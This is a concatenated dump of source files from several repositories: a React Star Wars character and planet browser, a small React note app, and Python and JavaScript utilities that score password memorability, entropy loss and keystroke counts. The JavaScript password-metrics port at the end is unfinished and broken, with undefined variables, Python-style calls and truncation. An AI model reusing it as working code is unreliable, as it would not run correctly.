let foundPlanet = false;
let planetName = planets.map(planet => {
if (planet.url === planetURI) {
foundPlanet = true;
return planet.name;
}
});
if (!foundPlanet) {
planetName = addNewPlanet(planetURI);
}
return planetName;
}
};
// Find the ID from the planet URI, so it can be used for routing purposes
const getHomeworldId = homeworld => {
let id = homeworld.split("");
id = id.map(char => {
return char.replace(/[^0-9]/, "");
});
return (id = id.join(""));
};
const addNewPlanet = planetURI => {
axios.get(planetURI).then(res => {
setPlanets([...planets, res.data.name]);
return res.data.name;
});
};
return (
<>
<PeopleHeader>Characters</PeopleHeader>
{people.length > 0 ? (
<PeopleList>
{people.map((person, index) => {
return (
<Person>
<Link to={`/planets/${getHomeworldId(person.homeworld)}`}>
<Name>{person.name}</Name>
</Link>{" "}
-{" "}
<Link>
<Planet>{person.homeworldName}</Planet>
</Link>
</Person>
);
})}
</PeopleList>
) : (
<Dimmer active>
<Loader />
</Dimmer>
)}
</>
);
};
const PeopleHeader = styled.h1`
text-align: center;
font-size: 3rem;
letter-spacing: 2rem !important;
`;
const PeopleList = styled.div`
margin: 0px;
padding: 0px;
display: flex;
flex-direction: column;
justify-content: space-evenly;
align-items: center;
`;
const Person = styled.div`
padding: 5px;
`;
const Name = styled.h2`
font-size: 1.5rem;
color: #ffd700;
font-family: "Star Jedi Solid" !important;
`;
const Planet = styled.h2``;
export default People;
<file_sep>/src/components/Home.js
import React from "react";
import styled from "styled-components";
import "../fonts/Fonts.css";
import { Link } from "react-router-dom";
const Home = () => {
return (
<HomeContainer>
<HomeHeader>Welcome to the Star Wars Database</HomeHeader>
<Link to="/people">
<StarButton>Explore</StarButton>
</Link>
</HomeContainer>
);
};
const HomeContainer = styled.div`
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
height: 100vh;
width: auto;
`;
const HomeHeader = styled.h1`
color: yellow
font-weight: 500 !important;
font-size: 7rem;
text-align: center;
`;
const StarButton = styled.button`
padding: 20px 100px 20px 100px;
background-color: rgba(0, 0, 0, 0.3);
color: #ffd700;
border-top: 1px solid #ffd700;
border-bottom: 1px solid #ffd700;
border-left: 0px;
border-right: 0px;
font-family: "Star Jedi Solid" !important;
font-size: 2rem;
letter-spacing: 8rem !important;
`;
export default Home;
<file_sep>/src/components/Planet.js
/* eslint-disable no-restricted-globals */
import React, { useState, useEffect } from "react";
import axios from "axios";
import { Dimmer, Loader } from "semantic-ui-react";
import styled from "styled-components";
import "../fonts/Fonts.css";
import { Link } from "react-router-dom";
const Planet = () => {
const [planet, setPlanet] = useState("");
useEffect(() => {
const planetId = location.pathname;
axios.get(`https://swapi.co/api${planetId}`).then(res => {
setPlanet(res.data);
});
});
const getPlanetDiameter = planetDiameter => {
const planetScaler = 130000;
const diameter = parseInt(planetDiameter);
const wWidth = window.innerWidth;
// Calculate the proportional diameter
const newDiameter = (wWidth / 2) * (diameter / planetScaler);
return newDiameter;
};
return (
<>
<Link to="/people">
<BackButton>Go Back</BackButton>
</Link>
{planet.name ? (
<PageContainer>
<PlanetContainer>
<PlanetCircle inputWidth={getPlanetDiameter(planet.diameter)}>
{Object.entries(planet).map((item, index) => {
// Format Titles
let title = item[0];
let value = item[1];
title = title.split("_");
title = title.map(word => {
const capWord = word.charAt(0).toUpperCase() + word.slice(1);
return capWord;
});
title = title.join("_").replace("_", " ");
if (title === "Name") return <PlanetName>{value}</PlanetName>;
else if (index < 9)
return (
<Data>
<Title>{title}:</Title>
<Value>{" "}{value}</Value>
</Data>
);
})}
</PlanetCircle>
</PlanetContainer>
</PageContainer>
) : (
<Dimmer active>
<Loader />
</Dimmer>
)}
</>
);
};
const PageContainer = styled.div`
width: 100%;
height: 100%;
`;
const PlanetContainer = styled.div`
display: flex;
flex-direction: column;
`;
const PlanetName = styled.h1`
text-align: center;
font-size: 3rem;
letter-spacing: 2rem !important;
`;
const PlanetCircle = styled.div`
height: ${props => props.inputWidth || 50}rem;
width: ${props => props.inputWidth || 50}rem;
border-radius: 50%;
border: 4px solid white;
background-color: rgba(255, 255, 255, 0.2);
margin: 0;
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
display: flex;
flex-direction: column;
justify-content: space-evenly;
padding: 50px;
`;
const Data = styled.div`
display: flex;
flex-direction: row;
justify-content: center;
align-items: center;
margin: 0px;
color: black;
`;
const Title = styled.h2`
margin: 0px;
padding: 5px;
font-size: 1.5rem;
color: #ffd700;
font-family: "Star Jedi Solid" !important;
`
const Value = styled.h2`
margin: 0px;
padding: 5px;
color: white;
`
const BackButton = styled.button`
position: absolute;
top: 10%;
left: 10%;
padding: 20px 20px 20px 20px;
background-color: rgba(0, 0, 0, 0.3);
color: #ffd700;
border-top: 1px solid #ffd700;
border-bottom: 1px solid #ffd700;
border-left: 0px;
border-right: 0px;
font-family: "Star Jedi Solid" !important;
font-size: 1rem;
letter-spacing: 1rem !important;
`;
export default Planet;
<file_sep>/src/App.js
import React from "react";
import { Switch, Route } from "react-router-dom";
import styled from "styled-components";
import People from "./components/People";
import Home from "./components/Home";
import Planet from "./components/Planet";
import NoMatch from "./components/NoMatch";
import Particles from "react-particles-js";
import { GlobalStyles } from "./styles/GlobalStyles";
import { particleParams, particleStyles } from "./styles/ParticlesStyles";
const App = () => {
return (
<PageContainer>
<GlobalStyles />
<Particles params={particleParams} style={particleStyles} />
<Switch>
<Route exact path="/" component={Home} />
<Route exact path="/planets/:id" component={Planet} />
<Route exact path="/people" component={People} />
<Route component={NoMatch} />
</Switch>
</PageContainer>
);
};
const PageContainer = styled.div`
width: 100%;
height: 100%;
margin: 0px;
`;
export default App;
<file_sep>/src/styles/ParticlesStyles.js
export const particleStyles = {
width: "100vh",
height: "100vh",
position: "absolute",
zIndex: "-100",
backgroundColor: "black"
// backgroundImage: `url(${logo})`
};
export const particleParams = {
particles: {
number: {
value: 80,
density: {
enable: true,
value_area: 800
}
},
color: {
value: "#ffffff"
},
shape: {
type: "circle",
stroke: {
width: 0,
color: "#000000"
},
polygon: {
nb_sides: 5
},
image: {
src: "img/github.svg",
width: 100,
height: 100
}
},
line_linked: {
enable: false
},
move: {
enable: true,
speed: 1,
direction: "none",
random: false,
straight: false,
out_mode: "out",
bounce: false,
attract: {
enable: false,
rotateX: 600,
rotateY: 1200
}
},
opacity: {
value: 1,
random: true,
anim: {
enable: true,
speed: 10,
opacity_min: 1,
sync: true
}
},
size: {
value: 4.008530152163807,
random: true,
anim: {
enable: false,
speed: 40,
size_min: 0.1,
sync: false
}
}
}
};
| 7f078a0b78e7b63dc1b7d6dfa86577c324dcf25b | [
"JavaScript"
] | 6 | JavaScript | wilsonevan/star-wars | 140e0a2da21c470626bc72e8708144f43f5e5001 | e1b825bfa93ace0dfd5f7396c9468974a5fa8744 |
refs/heads/master | <repo_name>sumeetbalwade/Keeper-Note-Making-ReactJS<file_sep>/src/components/Footer.jsx
import React from 'react';
export const Footer = () => {
let date = new Date();
const year = date.getFullYear();
return (
<footer>
<p>Copyright © {year}</p>
</footer>
);
};
<file_sep>/src/components/Note.jsx
import React from 'react';
export default function Note(porp) {
return (
<div className="note">
<h1>{porp.title}</h1>
<p>{porp.content}</p>
</div>
);
}
<file_sep>/README.md
# Keeper-Note-Making-ReactJS
| 1fbdccf8609bc84e6d1651e7d3b45582b4a9979b | [
"JavaScript",
"Markdown"
] | 3 | JavaScript | sumeetbalwade/Keeper-Note-Making-ReactJS | 4b02f2e56b7866b222289fd15788ed97df0ed5db | 57ab703d56b4a4f4bc30304ab322c72f1f2af8b0 |
refs/heads/master | <file_sep>import re
# Calculate LPD scores for a password.
# @param dictionary for scores to be added to, password to be scored, label for dictionary to be used
# @return dictionary of scores for symbolstart, # chunks, # characters, unsentence-like caps, mixed character sequence, pronounceable, LDP
def calculateLPDlist (current_LPD_list, current_password, label):
# running total for current password's LPD
current_LPD = 0
# Stores phrases into which passwords are broken into
phrases = []
# Holds current phrase (subsection of the password)
current_phrase = None
current_password = current_password.strip()
label = str(label)
##### Step 1 - Parse by symbol
# Check the character at index 0 of current_password
# If the character is a symbol,
# Add 1 point to the LPD
if symbolStart(current_password):
current_LPD += 1
symbolStartFlag = 1
print('Symbol start: Add 1')
current_LPD_list[label+'symbolStart'] = 1
else:
symbolStartFlag = 0
current_LPD_list[label+'symbolStart'] = 0
##### Parse into phrases
if symbolStartFlag == 1:
# For each character in current_password,
for c in current_password:
# If the char is a symbol,
if isSymbol(c):
# Add current phrase to phrase list if not empty
if current_phrase:
phrases.append(current_phrase)
# Increment current_phrase
current_phrase = None
# Add symbol to the start of the current phrase
if not current_phrase:
current_phrase = ''
current_phrase += c
else:
# Concatenate the character at the end of current phrase
if not current_phrase:
current_phrase = ''
current_phrase += c
else:
# For each character in current_password,
for c in current_password:
# If the char is a symbol,
if isSymbol(c):
# Add symbol to the end of the current phrase
if not current_phrase:
current_phrase = ''
current_phrase += c
# Add current phrase to phrase list if not empty
phrases.append(current_phrase)
# Increment current_phrase
current_phrase = None
else:
# Concatenate the character at the end of current phrase
if not current_phrase:
current_phrase = ''
current_phrase += c
# Add the last phrase to the list
if current_phrase:
phrases.append(current_phrase.strip())
current_phrase = None
##### Step 2 - Number of phrases
score = numPhrases(phrases)
# Display and append score to current LPD list
# Increment total LPD
print('Num phrases score: ' + str(score))
current_LPD += score
current_LPD_list[label+'chunks'] = score
# Display all phrases generated
print('\nAll phrases: ')
print(phrases)
# Create to keep track of running total for phrase size score, mixed character score, un-sentence like capital score, and pronounceability score
len_score = 0
mix_score = 0
cap_score = 0
pron_score = 0
# Test each phrase in phrases:
for p in phrases:
####### Step 3 - Phrase size
score = numChar(len(p))
len_score += score
print('Large phrase size score: ' + str(score))
####### Step 4 - Un-sentence like capitalization
# For each character string,
# If there is a letter in a position other than index 0 that is capitalized, add 1 to LPD
score = unsentCaps(p)
cap_score += score
print('Un-sentence like capitalization: ' + str(cap_score))
####### Step 5 - mixed character strings
# If the phrase has 3 or more characters and has the pattern L(N*)L or N(L*)N (mixed numbers and letters)
# Add 1 to LPD
mix_score += mixedCharStr(p)
print('Mixed character strings: ' + str(mixedCharStr(p)))
######## Step 6 - pronounceable character sequence
# If the phrase is pronounceable
# Add 1 to LPD
pron_score += soundsLike(p)
# Add LPD scores to totall running LPD for steps 3, 4, 5, 6
current_LPD += mix_score
current_LPD += cap_score
current_LPD += len_score
current_LPD += pron_score
# Add LPD scores to the list for steps 3, 4, 5, 6
current_LPD_list[label+'characters'] = len_score
current_LPD_list[label+'unsentenceLikeCaps'] = cap_score
current_LPD_list[label+'mixedCharacterString'] = mix_score
current_LPD_list[label+'pronounceable'] = pron_score
current_LPD_list[label+'lpd'] = current_LPD
# clear variables
mix_score = 0
cap_score = 0
len_score = 0
pron_score = 0
phrases = []
score = 0
# Set LPD to 0
current_LPD = 0
return current_LPD_list
# Determines whether symbol at start of string is a symbol
def symbolStart (password):
return isSymbol(password[0])
# Determines whether passed character is a symbol
def isSymbol (c):
if c == '!' or c == '@' or c == '#' or c == '$' or c == '%' or c == '^' or c == '&' or c == '*' or c == '(' or c == ')' or c == '-' or c == '_' or c == '+' or c == '=' or c == '{' or c == '}' or c == '[' or c == ']' or c == '|' or c == '\\' or c == ':' or c == ';' or c == '\'' or c == '"' or c == '<' or c == '>' or c == ',' or c == '.' or c == '/' or c == '?' or c == '`' or c == '~':
return True
else:
return False
# Determines LPD based on number of phrases
def numPhrases (phrases):
LPD = 0
# Get the size of phrases:
phrase_size = len(phrases)
# If phrase size is neither 1 or 2
if (phrase_size != 1) and (phrase_size != 2):
# Add score to LPD
LPD = (((phrase_size - 3) * 2) + 1)
else:
LPD = 0
return LPD
# Determines LPD based on phrase size
def numChar (phrase_size):
# If 1 <= size <= 3:
LPD = 0
# If 4 <= size <= 5:
if (phrase_size == 4) or (phrase_size == 5):
# Add 1 to LPD
LPD = 1
# If 6 <= size <= 7:
elif (phrase_size == 6) or (phrase_size == 7):
# Add 2 to LPD
LPD = 2
# If 8 <= size <= 9:
elif (phrase_size == 8) or (phrase_size == 9):
# Add 3 to LPD
LPD = 3
# If 10 <= size <= 11:
elif (phrase_size == 10) or (phrase_size == 11):
# Add 4 to LPD
LPD = 4
# If 12 <= size <= 13:
elif (phrase_size == 12) or (phrase_size >= 13):
# Add 5 to LPD
LPD = 5
return LPD
def unsentCaps (password):
LPD = 0
match = re.findall('([a-zA-Z]+)[A-Z]([a-zA-Z]*)', password)
if match:
LPD += 1
return LPD
def mixedCharStr (password):
LPD = 0
if len(password) >= 3:
match = re.findall('([0-9]+[a-zA-Z]+[0-9]+)|([a-zA-Z]+[0-9]+[a-zA-Z]+)', password, re.I)
if match:
LPD += 1
return LPD
def soundsLike (phrase):
# Method that returns an integer score for level of pronounceability of a word depending on how many different matching syllables
# Uses the onset-nucleus-coda syllable classification scheme used in English phonology.
# Created with theoretical
# Pull letter groups that match the following:
# Regex: [possible onset consonants][possible nucleus letters][possible coda letter sequences]
onset = "(P|B|T|D|K|G|W|F|Ph|V|Th|S|Z|M|N|L|R|W|H|Y|Sh|Ch|J|Pl|Bl|Kl|Gl|Pr|Br|Tr|Dr|Kr|Gr|Tw|Dw|Gw|Kw|Pw|Sp|Sk|St|Sm|Sn|Sph|Sth|Spl|Scl|Spr|Str|Scr|Squ|Sm|Sphr|Wr|Gn|Xy|ps)"
nucleus = "(I|E|A|O|U|Oo|Ea|Ir|Y|Oy|ee|ea|ou|o|ow)"
coda = "(P|B|T|D|K|G|H|J|W|F|Ph|V|Th|S|Z|M|N|L|R|Q|Y|Sh|C|Lp|Lb|Lt|Lch|Lge|Lk|Rp|Rb|Rt|Rd|Rch|Rge|Rk|Rgue|Lf|Lve|Lth|Lse|Lsh|Rf|Rve|Rth|Rce|Rs|Rsh|Lm|Ln|Rm|Rn|Rl|Mp|Nt|Nd|Ch|Nge|Nk|Mph|Mth|Nth|Nce|Nze|Gth|Ft|Sp|St|Sk|Fth|Pt|Ct|Pth|Pse|Ghth|Tz|Dth|X|Lpt|Lfth|Ltz|Lst|Lct|Lx|Mth|Rpt|Rpse|Rtz|Rst|Rct|Mpt|Mpse|Ndth|Nct|Nx|Gth|Xth|xt|ng)"
specials = "(hm|(" + onset + "*8(T|Th|S)))" # 1337 and other pneumonics can be added here
score = 0
regex = ".*((" + onset + "*" + nucleus + "{1}" + coda + "{1})|" + "(" + onset + "{1}" + nucleus + "{1}" + coda + "*)|" + specials + ").*"
regex = regex.lower()
match = re.findall(regex, phrase, re.I)
if match:
for sylb in match:
score = -1
print("Pronounceable: " + str(sylb[0]))
return score<file_sep>#!/usr/bin/python
##############################################################
## This program calculates the difference of the original ##
## entropy and entropy loss due to the usability transform.##
###############################################################################################
# How to use: multiEntropyLoss.entropyData(current_dictionary, password) ##
# Note: you must import this file "import multiEntropyLoss" before use ##
###############################################################################################
# No external libraries are required
import sys
from datetime import date
from operator import mul
from fractions import Fraction
import string
import math
import time
import functools
# Calculates n Choose k (n elements in k combinations)
def nCk(n,k):
return int( functools.reduce(mul, (Fraction(n-i, i+1) for i in range(k)), 1) )
# Calculate simple password entropy
def calcOrigEnt(input):
localLengthVar = len(input)
# This is an important line!
## Change 94 to calculate entropy
## for alternative char pool sizes
mid = 94**localLengthVar
output = math.log(mid, 2)
return output
# Calculate the number of lowercase letters in a password
def numberOfLowers(string):
return sum(1 for c in string if c.islower())
# Calculate the number of uppercase letters in a password
def numberOfUppers(value):
localLength = sum(1 for c in value if c.isupper())
return localLength
# Calculate the number of digits in a password
def numberOfDigits(value):
localLength = len([c for c in value if c.isdigit()])
return localLength
# Calculate the entropy loss due to the usability password transform
def calcLoss(length, upper, lower, digits):
# Storing and casting local vars
length = length
upper = int(upper)
lower = int(lower)
digits = int(digits)
# n Choose k of uppercase chars
nCkUpper = nCk(length, upper)
tempvar1 = length - upper
# n Choose k of lowercase chars
nCkLower = nCk(tempvar1, lower)
tempvar2 = length - upper - lower
nCkDigits = nCk(tempvar2, digits)
intermediateResult = nCkUpper * nCkLower * nCkDigits
finalResult = math.log(intermediateResult, 2)
#finalResult = np.log2(intermediateResult)
return finalResult
# Subtract the entropy loss from the original entropy
def calcKelseyEnt(originalEntropy, entropyLoss):
finalResult = originalEntropy - entropyLoss
return finalResult
# Add entropy information of a password to a dictionary
# @param dictionary, password
# @return updated dictionary
def entropyData(current_dictionary, password):
tempLower = numberOfLowers(password)
tempUpper = numberOfUppers(password)
tempDigits = numberOfDigits(password)
length = len(password)
tempSymb = length - tempUpper - tempLower - tempDigits
originalEntropy = calcOrigEnt(password)
tempLoss = calcLoss(length, tempUpper, tempLower, tempDigits)
newPasswordStrength = calcKelseyEnt(originalEntropy, tempLoss)
percentLoss = tempLoss/originalEntropy*100
current_dictionary['originalEntropy'] = originalEntropy
current_dictionary['lostEntropy'] = tempLoss
current_dictionary['percentEntropyLoss'] = percentLoss
current_dictionary['newEntropy'] = newPasswordStrength
print('Original entropy: ' + str(originalEntropy))
print('Lost entropy: ' + str(tempLoss))
print('Percent entropy lost: ' + str(percentLoss))
print('New (Kelsey) entropy: ' + str(newPasswordStrength))
return current_dictionary
# Write results to an external file
## The file is opened and closed to clear it
# now = date.today()
# tempResultsFile = 'formattedResults-' + str(now) + '.txt'
# resultsFile = open(tempResultsFile, "w")
# resultsFile.close()
# resultsFile = open(tempResultsFile, "a")
# # Open password file
# ## This program requires a file named inputFile.txt
# ## CHANGE THIS LINE TO INCLUDE ANOTHER FILE
# inputFile = open('inputFile-10.txt', 'r')
# for line in inputFile:
# line = line.rstrip()
# length = len(line)
# print(line + " : " + "\n")
# tempLower = numberOfLowers(line)
# tempUpper = numberOfUppers(line)
# tempDigits = numberOfDigits(line)
# tempSymb = length - tempUpper - tempLower - tempDigits
# originalEntropy = calcOrigEnt(line)
# tempLoss = calcLoss(length, tempUpper, tempLower, tempDigits)
# newPasswordStrength = calcKelseyEnt(originalEntropy, tempLoss)
# percentLoss = tempLoss/originalEntropy*100
# print("The original entropy measure is " + str(originalEntropy) + "\n")
# print("The entropy loss is " + str(tempLoss) + "\n")
# print("The Kelsey entropy is " + str(newPasswordStrength) + "\n")
# print("The percentage loss is " + str(percentLoss) + "\n")
# resultsFile.write("\n")
# # Log the results to a file with the following format
# # Password, length, uppers, lowers, digits, symbols, original entropy, entropy loss, kelsey entropy, percent loss
# #resultsFile.write(str(line) + ", " + str(length) + ", " + str(tempUpper) + ", " + str(tempLower) + ", " + str(tempDigits) + ", " + str(tempSymb) + ", " + str(originalEntropy) + ", " + str(tempLoss) + ", " + str(newPasswordStrength) + ", " + str(percentLoss))
# resultsFile.write(str(line) + "\t" + str(length) + "\t" + str(tempUpper) + "\t" + str(tempLower) + "\t" + str(tempDigits) + "\t" + str(tempSymb) + "\t" + str(originalEntropy) + "\t" + str(tempLoss) + "\t" + str(newPasswordStrength) + "\t" + str(percentLoss))
# inputFile.close()
<file_sep>import re
# Calculate number of keystrokes needed for a password entered in the mobile Apple brand platform
# Each "screen" method simulates a real screen on the device.
# In this model, each keypress does not trigger an automatic transition back to screen 1.
# Ipad keystroke count based on the screens of the latest 2014 model
# Android keystroke count based on the landscape screens of the Galaxy 3s, the most pervasive model (7.2% of Android users) in the Android marketplace as of July 2014
# screens
def screen1 (password, count, i, type):
if i < len(password):
symType = symbolType[type](password[i])
currentChar = password[i]
i += 1
if symType == 0:
count += 1
print('Screen 1, current character:'+ currentChar +', Key count:' + str(count))
return screen1(password, count, i, type)
elif symType == 1:
count += 2
print('Screen 1, current character:'+ currentChar +', Key count:' + str(count))
return screen1(password, count, i, type)
elif symType == 2:
count += 2
print('Screen 1, current character:'+ currentChar +', Key count:' + str(count))
return screen2(password, count, i, type)
else:
count += 3
print('Screen 1, current character:'+ currentChar +', Key count:' + str(count))
return screen3(password, count, i, type)
else:
return count
def screen2 (password, count, i, type):
if i < len(password):
symType = symbolType[type](password[i])
currentChar = password[i]
i += 1
if symType == 0:
count += 2
print('Screen 2, current character:'+ currentChar +', Key count:' + str(count))
return screen1(password, count, i, type)
elif symType == 1:
count += 3
print('Screen 2, current character:'+ currentChar +', Key count:' + str(count))
return screen1(password, count, i, type)
elif symType == 2:
count += 1
print('Screen 2, current character:'+ currentChar +', Key count:' + str(count))
return screen2(password, count, i, type)
else:
count += 2
print('Screen 2, current character:'+ currentChar +', Key count:' + str(count))
return screen3(password, count, i, type)
else:
return count
def screen3 (password, count, i, type):
if i < len(password):
symType = symbolType[type](password[i])
currentChar = password[i]
i += 1
if symType == 0:
count += 2
print('Screen 3, current character:'+ currentChar +', Key count:' + str(count))
return screen1(password, count, i, type)
elif symType == 1:
count += 3
print('Screen 3, current character:'+ currentChar +', Key count:' + str(count))
return screen1(password, count, i, type)
elif symType == 2:
count += 2
print('Screen 3, current character:'+ currentChar +', Key count:' + str(count))
return screen2(password, count, i, type)
else:
count += 1
print('Screen 3, current character:'+ currentChar +', Key count:' + str(count))
return screen3(password, count, i, type)
else:
return count
def upLower (character):
# Character is a lower
regex = "[a-z]"
match = re.search(regex, character)
if match:
return 0
# Character is an upper (add one keystroke for shift)
regex = "[A-Z]"
match = re.search(regex, character)
if match:
return 1
return -1
def upLowerSymDesktop (character):
# Character is a lower, or other character that doesn't require a shift press
regex = "([a-z]|[0-9]|`|\[|\]|;|'|,|\.|\/|\-|\=)"
match = re.search(regex, character)
if match:
return 0
# Character is an upper or other character requiring a shift press
return 1
def upLowerSymipad(character):
notSym = upLower(character);
if notSym == -1:
# Character is a symbol in ipad group 1
regex = "([0-9]|-|\/|:|;|\)|\(|&|\$|@|\.|,|\?|!|\"|\')"
match = re.search(regex, character)
if match:
return 2
# Character is a symbol in ipad group 2
return 3
else:
return notSym
def upLowerSymandroid(character):
notSym = upLower(character);
if notSym == -1:
# Character is a symbol in android group 1
regex = "([0-9]|\^|\*|-|\/|:|;|\)|\(|&|\$|@|\.|,|\?|!|\"|\')"
match = re.search(regex, character)
if match:
return 2
# Character is a symbol in android group 2
return 3
else:
return notSym
symbolType = {
'ipad': upLowerSymipad,
'android': upLowerSymandroid,
'desktop': upLowerSymDesktop,
}
# Main method to invoke for ipod
def ipadkeystrokecount(password):
count = 0
count = screen1(password, count, 0, "ipad")
return count
# Main method to invoke for android
def androidkeystrokecount(password):
count = 0
count = screen1(password, count, 0, "android")
return count
def desktopkeystrokecount(password):
count = 0
count = screen1(password, count, 0, "desktop")
return count
# Main method to add all keystroke types for two versions of the same password to an existing list
def calcKeystrokeList(current_LPD_list, password, label):
# Calculate android keystrokes
print('\nAndroid')
current_LPD_list[label+'androidkeystrokes'] = androidkeystrokecount(password)
print('\nipad')
current_LPD_list[label+'ipadkeystrokes'] = ipadkeystrokecount(password)
print('\ndesktop')
current_LPD_list[label+'desktopkeystrokes'] = desktopkeystrokecount(password)
return current_LPD_list<file_sep>#!/usr/bin/python
##########################################################################
## This program takes a string as input (a password) and ##
## rearranges the password. ##
##########################################################################
# How to use: singleTransform.permutePass(password) ##
# Note: you must import this file "import singleTransform" before use ##
##########################################################################
import sys
import timeit
import re
## Runs through each character of a string and
## places it into an array
def permutePass(password):
# Create arrays to hold characters
lowerArray = []
upperArray = []
digitArray = []
symbolArray = []
upper = lower = digit = space = 0
for c in password:
if c in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
upper += 1
upperArray.append(c)
elif c in "abcdefghijklmnopqrstuvwxyz":
lower += 1
lowerArray.append(c)
elif c in "0123456789":
digit += 1
digitArray.append(c)
else :
symbolArray.append(c)
# .join merges characters from an array into a string
tempUpperPass = ''.join(upperArray)
tempLowerPass = ''.join(lowerArray)
tempDigitPass = ''.join(digitArray)
tempSymbolPass = ''.join(symbolArray)
# Concatenate all the strings
newPass = tempUpperPass + tempLowerPass + tempDigitPass + tempSymbolPass
print('Permuted password: '+str(newPass))
# print result
return newPass
<file_sep>var generateUSVData = function ( input ) {
// Read each password
for ( var i = 0; i < input.length; i++ ) {
var currentPassword = input[i];
var currentMetricList = {};
currentMetricList['originalPassword'] = currentPassword;
// Calculate lpd score
calculateLPDList(currentMetricList, currentPassword, null);
// Permute password
// Calculate entropy
// Calculate keystrokes
// Calculate length, number of letters, number of numerics and number of symbols in each password
// Store current LPD score list in USG_list
}
var permutePass = function ( password ) {
// Create arrays to hold characters
var lowerArray = [];
var upperArray = [];
var digitArray = [];
var symbolArray = [];
var upper = lower = digit = space = 0;
for(var i = 0; i < password.length; i++){
var c = password[i];
}
};
var calculateLPDList = function ( currentMetricList, currentPassword, label ) {
// running total for current password's LPD
var currentLPD = 0;
// Stores phrases into which passwords are broken into
var phrases = [];
// Holds current phrase (subsection of the password)
var currentPhrase = null;
currentPassword = currentPassword.strip()
if(label = null){
label = '';
}
// Step 1 - Parse by symbol
// Check the character at index 0 of current_password
// If the character is a symbol,
// Add 1 point to the LPD
var symbolStartFlag = isSymbol(password.charAt(0));
// Parse into phrases
if(symbolStartFlag) {
currentLPD += 1;
currentMetricList[label + 'symbolStart'] = 1;
// For each character in current_password
for (var i = 0; i < currentPassword.length; i++) {
if (isSymbol(currentPassword[i])){
// Add current phrase to phrase list if not empty
if (currentPhrase) {
phrases.push(currentPhrase);
}
// Increment currentPhrase
currentPhrase = null;
// Add symbol to the start of the current phrase
if (!currentPhrase){
currentPhrase = '';
}
currentPhrase += c;
} else {
// Concatenate the character at the end of current phrase
if (!currentPhrase){
currentPhrase = '';
}
currentPhrase += c;
}
}
} else {
currentMetricList[label + 'symbolStart'] = 0;
// For each character in current_password
for (var i = 0; i < currentPassword.length; i++) {
if (isSymbol(currentPassword[i])){
// Add symbol to the end of the current phrase
if(!currentPhrase){
currentPhrase = '';
}
currentPhrase += c;
// Add current phrase to phrase list if not empty
phrases.push(currentPhrase);
// Increment current_phrase
currentPhrase = null;
} else {
// Concatenate the character at the end of current phrase
if(!currentPhrase){
currentPhrase = '';
}
currentPhrase += c;
}
}
}
if(currentPhrase){
phrases.push(currentPhrase);
}
currentPhrase = null;
// Step 2 - Number of phrases
var phraseSize = phrases.length;
// If phrase size is neither 1 or 2
if( phraseSize != 1 && phraseSize != 2 ){
currentLPD += (((phraseLength - 3) * 2) + 1);
currentMetricList[label + 'chunks'] = (((phraseLength - 3) * 2) + 1);
} else {
currentMetricList[label + 'chunks'] = 0;
}
// Create to keep track of running total for phrase size score, mixed character score, un-sentence like capital score, and pronounceability score
lenScore = 0;
mixScore = 0;
capScore = 0;
pronScore = 0;
for(var i = 0; i < phrases.length; i++){
currentPhrase = prases[i];
phraseLength = currentPhrase.length;
// Step 3 - Phrase size
// If 4 <= size <= 5:
if (phraseLength == 4 || phraseLength == 5){
lenScore += 1;
}
// If 6 <= size <= 7:
else if (phraseLength == 6 || phraseLength == 7){
lenScore += 2;
}
// If 8 <= size <= 9:
else if (phraseLength == 8 || phraseLength == 9){
lenScore += 3;
}
// If 10 <= size <= 11:
else if (phraseLength == 10 || phraseLength == 11){
lenScore += 4;
}
// If 12 <= size <= 13:
else if (phraseLength == 12 || phraseLength >= 13){
lenScore += 5;
}
// Step 4 - Un-sentence like capitalization
var re = /([a-zA-Z]+)[A-Z]([a-zA-Z]*)/;
var found = currentPhrase.match(re);
if(found){
capScore++;
}
// Step 5 - mixed character strings
if(phraseLength >= 3){
var re = /([0-9]+[a-zA-Z]+[0-9]+)|([a-zA-Z]+[0-9]+[a-zA-Z]+)/;
var found = currentPhrase.match(re);
if(found){
mixScore++;
}
}
// Step 6 - pronounceable character sequence
onset = "(P|B|T|D|K|G|W|F|Ph|V|Th|S|Z|M|N|L|R|W|H|Y|Sh|Ch|J|Pl|Bl|Kl|Gl|Pr|Br|Tr|Dr|Kr|Gr|Tw|Dw|Gw|Kw|Pw|Sp|Sk|St|Sm|Sn|Sph|Sth|Spl|Scl|Spr|Str|Scr|Squ|Sm|Sphr|Wr|Gn|Xy|ps)";
nucleus = "(I|E|A|O|U|Oo|Ea|Ir|Y|Oy|ee|ea|ou|o|ow)";
coda = "(P|B|T|D|K|G|H|J|W|F|Ph|V|Th|S|Z|M|N|L|R|Q|Y|Sh|C|Lp|Lb|Lt|Lch|Lge|Lk|Rp|Rb|Rt|Rd|Rch|Rge|Rk|Rgue|Lf|Lve|Lth|Lse|Lsh|Rf|Rve|Rth|Rce|Rs|Rsh|Lm|Ln|Rm|Rn|Rl|Mp|Nt|Nd|Ch|Nge|Nk|Mph|Mth|Nth|Nce|Nze|Gth|Ft|Sp|St|Sk|Fth|Pt|Ct|Pth|Pse|Ghth|Tz|Dth|X|Lpt|Lfth|Ltz|Lst|Lct|Lx|Mth|Rpt|Rpse|Rtz|Rst|Rct|Mpt|Mpse|Ndth|Nct|Nx|Gth|Xth|xt|ng)";
specials = "(hm|(" + onset + "*8(T|Th|S)))"; // 1337 and other pneumonics can be added here
re = ".*((" + onset + "*" + nucleus + "{1}" + coda + "{1})|" + "(" + onset + "{1}" + nucleus + "{1}" + coda + "*)|" + specials + ").*";
re = re.toLowerCase();
re = new RegExp(re, i);
var found = currentPhrase.match(re);
if(found){
for(var i = 0; i < found.length; i++){
pronScore--;
}
}
}
// Add LPD scores to totall running LPD for steps 3, 4, 5, 6
currentLPD += mixScore;
currentLPD += capScore;
currentLPD += lenScore;
currentLPD += pronScore;
// Add LPD scores to the list for steps 3, 4, 5, 6
currentMetricList[label+'characters'] = lenScore;
currentMetricList[label+'unsentenceLikeCaps'] = capScore;
currentMetricList[label+'mixedCharacterString'] = mixScore;
currentMetricList[label+'pronounceable'] = pronScore;
currentMetricList[label+'lpd'] = currentLPD;
lenScore = 0;
mixScore = 0;
capScore = 0;
pronScore = 0;
return currentMetricList;
var isSymbol = function ( c ) {
